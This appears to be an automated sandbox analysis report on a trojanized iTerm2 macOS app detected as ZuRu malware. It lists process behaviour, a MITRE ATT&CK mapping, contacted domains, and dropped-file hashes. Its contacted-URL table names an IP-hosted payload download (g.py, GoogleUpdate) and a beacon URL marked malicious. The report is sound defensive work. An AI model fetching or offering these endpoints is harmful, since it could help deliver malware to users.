Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1036)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1068)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1068)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /usr/bin/open (PID: 1069)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /Applications/iTerm.app/Contents/MacOS/iTerm2 (PID: 1070)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1102)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python (PID: 1102)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist	Jump to behavior
Source: /Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2 (PID: 1075)	System or server version plist file read: /System/Library/CoreServices/SystemVersion.plist

Stealing of Sensitive Information:

Yara detected ZuRu

Show sources

Source: Yara match

File source: Process Memory Space: iTerm2 PID: 1036, type: MEMORYSTR

Lists all applications within the "Applications" directory

Show sources

Source: /bin/sh (PID: 1116)

Ls command executed: ls -la /Applications

Jump to behavior

Source: /bin/sh (PID: 1104)

Uname executable: /usr/bin/uname -> uname -p

Jump to behavior

Remote Access Functionality:

Yara detected ZuRu

Show sources

Source: Yara match

File source: Process Memory Space: iTerm2 PID: 1036, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Command and Scripting Interpreter1	LC_LOAD_DYLIB Addition1	LC_LOAD_DYLIB Addition1	Masquerading1	OS Credential Dumping	Security Software Discovery1	Remote Services	Data from Local System	Exfiltration Over Alternative Protocol1	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scripting5	Plist Modification1	Plist Modification1	Disable or Modify Tools1	LSASS Memory	Process Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	File and Directory Permissions Modification1	Security Account Manager	File and Directory Discovery11	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting5	NTDS	System Information Discovery191	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol14	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Hidden Files and Directories1	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Code Signing1	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Shell
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
iterm2.com	172.67.184.27	true	false		high
apps.mzstatics.com	198.211.32.74	true	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://47.75.123.111/g.py	true	unknown
http://47.75.123.111/GoogleUpdate	true	unknown
http://47.75.123.111/u.php?id=C07SW433G1HW	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://iterm2.com/documentation-csiu.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
http://iterm2.com/captured_output.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/appcasts/testing_modern.xml	Info.plist	false	high
https://iterm2.com/bugsReport	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://www.baidu.com%	iTerm2, 00001036.00000305.1.000000010fe3d000.000000010fe75000.r-x.sdmp	false	low
https://google.com/search?q=%	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/search_syntax.htmldescriptorsguidsNSAscendingSortIndicatorNSDescendingSortIndicat	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/documentation-session-title.htmliterm2.set_title	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/dynamic-profiles.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/bugs	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/automatic-profile-switching.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/downloads/stable/iTerm2-3_4_8.zip	CFNetworkDownload_L6qCpY.tmp.369.dr	false	high
https://iterm2.com/downloads/pyenv/betamanifest.json	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
http://www.iterm2.com/coprocesses.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/download.sh	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
http://www.iterm2.com/smartselection.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/downloads/pyenv/manifest.jsonScripting:	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/slow_triggers	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/documentation-copymode.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/documentation-shell-integration.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/downloads/pyenv/betamanifest.jsonScripting:	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://www.iterm2.com/documentation-triggers.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
http://www.iterm2.com/coprocesses.html-	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/patrons.txt	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/python-api-security-modelNew	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/regex	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/appcasts/full_changes.txt	CFNetworkDownload_L6qCpY.tmp.369.dr	false	high
https://iterm2.com/documentation-csiu.html-	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/search_syntax.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://www.iterm2.com/documentation.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/clock-status-bar-component-help	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/documentation-copymode.html-	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/status-bar-layout	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://www.iterm2.com/documentation.htmlv16	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/3.3/documentation-status-bar.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/downloads/pyenv/manifest.json	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://gitlab.com/gnachman/iterm2/wikis/TmuxIntegration	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/troubleshoot-hostnameConnect	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://sparkle-project.org/documentation/app-transport-security/v16	iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp	false	unknown
https://iterm2.com/why_no_content.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/documentation-session-title.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://www.iterm2.com/colorgallery	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://www.iterm2.com/triggers.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/captured_output.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/python-api-security-model	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://sparkle-project.org/documentation/app-transport-security/	iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp	false	unknown
https://github.com/sponsors/gnachman	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/Home	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/regexkMGTPEY%	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
http://chir.ag/projects/ntc/ntc.js	colors.txt.305.dr	false	high
https://iterm2.com/shell_integration/install_shell_integration.sh	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/troubleshoot-hostname	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com//tmux22bug.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/shell_integration/install_shell_integration_and_utilities.sh	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/images.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/shell_integration.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
http://iterm2.com/captured_output.htmlkeyclickm4aWindow	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/credits	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://www.iterm2.com/documentation-utilities.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/slow_triggersA	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com//tmux22bug.htmlDo	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://sparkle-project.org/documentation/	iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp	false	unknown
https://www.iterm2.com/smartselection.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
http://creativecommons.org/licenses/by/2.5/	colors.txt.305.dr	false	high
https://www.baidu.com	iTerm2, 00001036.00000305.1.000000010fe3d000.000000010fe75000.r-x.sdmp	false	high
https://patreon.com/gnachmanPatreon	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/python-api	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/why_no_content.htmlSession	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
http://www.andymatuschak.org/xml-namespaces/sparkle-	iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp	false	unknown
https://sparkle-project.org/documentation/app-transport-security/WARNING:	iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp	false	unknown
https://iterm2.com/coprocesses.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/creditsCreditshttps://iterm2.com/patrons.txtError	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://patreon.com/gnachman	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/paste_bracketing	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/documentation-shell-integration.htmlhttps://www.iterm2.com/documentation-utilitie	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/python-api-auth.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/paste_bracketing-	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://gitlab.com/gnachman/iterm2/uploads/	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/badges.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
http://iterm2.com/appcasts/final.xml	CFNetworkDownload_L6qCpY.tmp.369.dr	false	high
http://www.andymatuschak.org/xml-namespaces/sparkle	iTerm2, 00001036.00000305.1.000000010fd82000.000000010fdd6000.r-x.sdmp, CFNetworkDownload_L6qCpY.tmp.369.dr	false	unknown
https://github.com/sponsors/gnachmanGitHub	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
https://iterm2.com/appcasts/final_modern.xml	Info.plist	false	high
http://iterm2.com/shell_integration.html	iTerm2, 00001036.00000305.1.000000010e786000.000000010eea2000.r-x.sdmp	false	high
http://www.gnome.org/contact/http://www.bitstream.com/font_rendering/products/dev_fonts/vera.html	iTerm2, 00001070.00000369.1.00000001102ac000.00000001104ba000.r--.sdmp	false	high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
47.75.123.111	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
172.67.184.27	iterm2.com	United States	13335	CLOUDFLARENETUS	false
47.75.96.198	unknown	United States	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	false
198.211.32.74	apps.mzstatics.com	United States	35916	MULTA-ASN1US	false

Runtime Messages

Command:	open "/Volumes/iTerm/iTerm.app" --args
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Created / dropped Files

/Applications/iTerm.app/Contents/CodeResources Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	data
Category:	dropped
Size (bytes):	2557
Entropy (8bit):	7.423596745836598
Encrypted:	false
SSDEEP:	48:zX/dhrZVW5CDZtSctZnMVbk7FP3PjwyXuC3BKa+j0n:zPdhvD75jwyz3B51
MD5:	F80C2A675E5F13324AD0B8BE34FF8275
SHA1:	7D7FD6A78E5E33701C98247342A08255609818A2
SHA-256:	D07BB320526262EBEB2841F2C348F9AF3EA22D6A0FCC42AA096BF4D4A0773961
SHA-512:	EF41EF31F7EAD5093ACFDCCE899317D8EF35BC923EB136622DA61943153371696545432E4949447350EC204DBFD2932823006E4003AC27DA8FAD21D5039B86CC
Malicious:	false
Reputation:	low
Preview:	s8ch............0...0...0..........{.s...iQ0....H.=...0r1&0$..U....Apple System Integration CA 41&0$..U....Apple Certification Authority1.0...U....Apple Inc.1.0...U....US0...210429011732Z..220529011731Z0D1 0...U....Software Ticket Signing1.0...U....Apple Inc.1.0...U....US0Y0....H.=.....H.=....B.......!Z`.....s;S.q...E]?zi69....h....:.-.bd~....DV`~...-^...mG.....P0..L0...U.......0.0...U.#..0...zG.8..$H"F....${4.i0A..+........50301..+.....0..%http://ocsp.apple.com/ocsp03-asica4020....U. ...0..0.....H..cd..0{0y..+.......0m.kThis certificate is to be used exclusively for functions internal to Apple Products and/or Apple processes.0...U......j.....3..0..k..B...Q0...U...........0....H..cd.......0....H.=....I.0F.!........(......t..k.E....9A.>_....!..vhu.TA.....n..>./..`O5p.XcMW...0...0..m.......3....Lh.0....H.=...0g1.0...U....Apple Root CA - G31&0$..U....Apple Certification Authority1.0...U....Apple Inc.1.0...U....US0...170222222322Z..320218000000Z0r1&0$..U....Apple System Integration

/Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/BetterFontPicker Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Mach-O fat file with 2 architectures
Category:	dropped
Size (bytes):	1054384
Entropy (8bit):	5.595568919212038
Encrypted:	false
SSDEEP:	12288:+ka5sSqpjsP1emFmvvb7S6G90D4JGdIueVFmvvb7S6G90D4JGdBJJC/YHi4p7ecD:ZQsSqxsPmJ8/YC4
MD5:	0BFE5FCB104F42C7C5E9408A762CFBD7
SHA1:	0D78B39796D851F37DF01DCB8A124520248611E1
SHA-256:	3E176E6A4EF99477ECF445E49F9FCCDE1EF65D12A4E7F5E97AEEA17E9A49A22C
SHA-512:	F774FD6043EE9E87EC93AB652E9F26DF9807E5042835BB6F008EE321C273BEA1660A14910157FCC612BDCAD576ED59706683211C111C67A3A9735E75CE6D2BED
Malicious:	false
Reputation:	low
Preview:	..................@....`..............@.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/Resources/EmptyStar.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10410
Entropy (8bit):	6.37182175637945
Encrypted:	false
SSDEEP:	192:F9ZHlMsKVMjRUYNMtKw+DeMMjRUYNMtKwy:F9ZG/wRUYNg7+yMwRUYNg7y
MD5:	B20403025717C15CFF4C5A84915EA050
SHA1:	FD3FFDCF360B5475C5FC498140038071EB04232F
SHA-256:	335D111786F1C8BD7172D78234B60A8E8AA3735F4733B2BF04DF30678F9716AD
SHA-512:	6C2370B04FBBF52F57F3DE5520BC12D5ACBC8BC4D3600C4F7B9CDBFB393A673A9A7B04128EC86F2B2333366975235981752CC5DB2BCA38F528533F4DD6E7A056
Malicious:	false
Reputation:	low
Preview:	MM....$.. P8$....BaP.d6...DbQ8.V-..FcQ..v...?@.X...^.(@...t...L`...\|....@.Y..8.q...5..<.rOd...,......P.Z.%]......^.....x.<.............@..$d..Q............X@..z...2).8..............9.&m...0....X.....Y.P.l.h....^+..4.. .D...9..`.l.J......H..%........H...C......OF...L.g...P.d....... ...H..r....y..h.I...:.........>.......`...+.b.............p...5. .n....n..P.[..:...... .e..f...A...0...jr...j...8i...8m1."..p.X....p...P.. .... ..............r.H.EA..&..@...H.@U.2..dE...,...p......N....>.E.G..Sx..2.(..`.......1@t..L......ss>....,W..}_....a.................(...........$.............................................................6.............................................$.........................&.........................(...........1.........H.=...........R...........S...........s.........V....................EmptyStar@2x.png..tiffutil v325.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......yds

/Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/Resources/FilledStar.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10268
Entropy (8bit):	6.370105022811271
Encrypted:	false
SSDEEP:	96:jEg9z1hWKVYPjxTK6MT0D5MdtbZPAVwzVhJa0ED1hWKVYPjxTK6MT0D5MdtbZPAf:jEg/MjRUYNMtKwPJDsMjRUYNMtKwy
MD5:	A745C5C186ED635002EA767934AA1C5D
SHA1:	CF17C3A01FA150DD8BF42DC8B82CEAEA0D55576C
SHA-256:	86077D5EF448896FC5F2347504B0D015768CAC3AAD90B7CD368A0DC3B486588E
SHA-512:	7B02A64604ACD357B6D7479700FCE2A1B6334630C7D1EBC93D48F634DF831C3DF21E0A645006502B0CE61EE32E747F0C36C2B0EB7DF34754D54CA75E882744BA
Malicious:	false
Reputation:	low
Preview:	MM.*...... P8$....BaP.d6...:...tV...<........EF`..........<...D.`.P.....?@. .....'..0.\|...$"............&...2....jC.=..4X;....!@.Jh.N.`...P.......`.x.....&....+m..G....#.7.......2.....~.....@........E..x....\..+..m..B. ........................................................................................................................................................................................(...........1...........=...........R...........S...........s.............N...H.......H....FilledStar.png..tiffutil v325.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile..................................................................................mluc............skSK........daDK...:....caES...8....viVN...@...$ptBR...J...dukUA...,....frFU...>....huHU...4....zhTW.......LkoKR..."...fnbNO...:....csCZ...(....

/Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/Resources/HorizontalSpacingIcon.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10236
Entropy (8bit):	6.3715097219869525
Encrypted:	false
SSDEEP:	96:IB6CjwV1hWKVYPjxTK6MT0D5MdtbZPAVwzVrvQN1hWKVYPjxTK6MT0D5MdtbZPAf:46LMjRUYNMtKw9WMjRUYNMtKwy
MD5:	7B0DBA071EA5D17FFE94FB7B4F9BBF57
SHA1:	2F80DAC8764AF4C71E17BD4F03C345058BBDA323
SHA-256:	AB5B3D011308E94362FCF210A05A0887436CD07A83078C2856BF6CAE7A21BC65
SHA-512:	0AE34E29067FE7ED5F6ADA48A4D2232EAA9587E25832AD424DC1B55081CCC628AC18559DEF786DDDDD9B7E96EDEE6A0DF0B4F50FB0BDE3B7B62B3DF596CA14B0
Malicious:	false
Reputation:	low
Preview:	MM....... P8$....BaP.d6...DbQ8.V,...b..4b...H@....E..I..p...h.....Hx.........S.9....L.g.....p.@..........1.@.......h........V.H`...l.%.$.4P...q....(.t.W..P........)0..+..@....\.... .....t..`..?..x.2.. ...3..p\J......s.V.;{..@.....@...........7...5....\`.....k.....'}.........u..........C....p..8..H.........D.....Z0.......... .\|.3bl..<.C..............<,."...?..X.;!0.D...$u......HR.."..L.%..l.'....)....+...........................................................................................................................................................................................(...........1...........=...........R...........S...........s.............&................HorizontalSpacingIcon@2x.png..tiffutil v325.....appl....mntrGRAYXYZ ............acspAPPL....none...........................-appl................................................desc.......ydscm...<....cprt...X...#wtpt...\|....kTRC........desc........Generic Gray Gamma 2.2 Profile....................................

/Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/Resources/Info.plist Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	XML document text
Category:	dropped
Size (bytes):	1422
Entropy (8bit):	5.183987786054836
Encrypted:	false
SSDEEP:	24:2dfyiwBWRw6wph3sMa68h42Rwgp/sH2Pg6jee5YIMGD8/fX+V:cfyfwQr8cyjOgiH2I6ScvXD8H+V
MD5:	F0F2FF9F69CF4044A9BE1DEE15C8CD6C
SHA1:	F7D4A8A46168FB7C88801F88948430EDC4129C83
SHA-256:	941A64356143D514EE30EDC13066F74BBCDFF7706B87BBF2997DE683554222B3
SHA-512:	4EAD95D1A81648868AB168C45643CAB4AD6882AA4E0DE6F002CCC08B91DA4E699042E09E3055F8F8B5081407528A6C2DC010D31A584D5AD8BC40D657CDC60062
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8"?>.<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">.<plist version="1.0">.<dict>..<key>BuildMachineOSBuild</key>..<string>20A5374g</string>..<key>CFBundleDevelopmentRegion</key>..<string>en</string>..<key>CFBundleExecutable</key>..<string>BetterFontPicker</string>..<key>CFBundleIdentifier</key>..<string>com.iterm2.BetterFontPicker</string>..<key>CFBundleInfoDictionaryVersion</key>..<string>6.0</string>..<key>CFBundleName</key>..<string>BetterFontPicker</string>..<key>CFBundlePackageType</key>..<string>FMWK</string>..<key>CFBundleShortVersionString</key>..<string>1.0</string>..<key>CFBundleSupportedPlatforms</key>..<array>...<string>MacOSX</string>..</array>..<key>CFBundleVersion</key>..<string>1</string>..<key>DTCompiler</key>..<string>com.apple.compilers.llvm.clang.1_0</string>..<key>DTPlatformBuild</key>..<string>12B5018i</string>..<key>DTPlatformName</key>..<string>macosx</string>..<key>DTPlatf

/Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/Resources/MainViewController.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	39524
Entropy (8bit):	6.664239262022606
Encrypted:	false
SSDEEP:	768:oCgwDRUYylytYmS5gTqRUYylqjgTBRUYylQeJgTqRUYylHSJ70A+w0:jgwDKpyOm8gWKpqjg9KpQeJgWKpyJ7a
MD5:	DEA809B3F11A08903662BF234AC799AC
SHA1:	69954A5E9791950A4596F08D82142A3736396005
SHA-256:	9B8F3811448EA396803747FFE5B056C40E941FE59B70E638AD2E2BE707615856
SHA-512:	659A8E406D5FED309178B31F4E70A514D1AA2996A142580241AE4EAF5D1FA55442268701D1EC15F55AC684B9BA761B8B0AC15FF202162A7A3C19662A83929EFF
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.B.L.x...................................................................".)....4.c.d.e.z.}.~...........................................................................".).../...4.>.J.K.N.U.V.].^.a.b.h.i.n.....................................................................%...2.B.C.J.K.Q.R.X.a.e.u.v.}.~...........d.l..............................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..BFPMainViewController..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.A..:.;.<.=.>.?.@.../.k.........

/Applications/iTerm.app/Contents/Frameworks/BetterFontPicker.framework/Versions/A/Resources/VerticalSpacingIcon.tiff Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	TIFF image data, big-endian
Category:	dropped
Size (bytes):	10124
Entropy (8bit):	6.371804048306814
Encrypted:	false
SSDEEP:	96:o5Ah0HUvf1hWKVYPjxTK6MT0D5MdtbZPAVwzVaWF6j1hWKVYPjxTK6MT0D5Mdtbc:xi01MjRUYNMtKwZF2MjRUYNMtKwy
MD5:	1CC88415B6B2B017BAA533C7904C5241
SHA1:	6138D769CAB5938921F20C6F2EB2B8E537384A80
SHA-256:	B200612EE5332EFE23ACBDD584078401FAA2F0C058C956736D8688B2E29E1A42
SHA-512:	7C09A69EA52D0ECB0DFEA2ABC19177E64ABBC4366BE2B77D5F25435B149648F724A7192032443B16B086BFB924F5DCB6674E85B1CCD039C65663E609097F7ABA
Malicious:	false
Reputation:	low
